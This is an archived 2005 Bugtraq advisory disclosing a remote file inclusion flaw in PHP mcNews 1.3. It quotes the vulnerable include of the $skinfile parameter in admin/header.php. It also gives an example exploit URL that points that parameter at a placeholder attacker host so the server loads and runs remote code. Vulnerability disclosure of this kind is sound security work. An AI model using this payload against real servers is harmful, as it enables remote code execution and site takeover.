[prev in list] [next in list] [prev in thread] [next in thread]
List: bugtraq
Subject: PHP mcNews <= 1.3 arbitrary file inclusion (VXSfx)
From: Filip Groszynski <groszynskif () gmail ! com>
Date: 2005-03-07 19:45:07
Message-ID: 20050307194507.28650.qmail () www ! securityfocus ! com
[Download RAW message or body]
-- == -- == -- == -- == -- == -- == -- == -- == -- == --
Name: PHP mcNews
Version: 1.3
Homepage: http://www.phpforums.net/index.php?dir=dld
Author: Filip Groszynski (VXSfx)
Date: 7 March 2005
-- == -- == -- == -- == -- == -- == -- == -- == -- == --
Vulnerable code in mcNews/admin/header.php:
<?
// mcNews 1.3 Marc Cagninacci marc@phpforums.net
?>
...
<?
if($voir!='') {
$skinfile=strstr($skinfile, 'skin');
include ("$skinfile");
?>
...
--------------------------------------------------------
Example:
if register_globals=on and allow_url_fopen=on:
http://[victim]/[dir]/mcNews/admin/header.php?skinfile=http://[hacker_box]/
--------------------------------------------------------
Contact:
Author: Filip Groszynski <VXSfx>
Location: Poland <Warsaw>
Email: groszynskif <at> gmail <dot> com
HP: http://shell.homeunix.org
-- == -- == -- == -- == -- == -- == -- == -- == -- == --
[prev in list] [next in list] [prev in thread] [next in thread]
Configure |
About |
News |
Add a list |
Sponsored by KoreLogic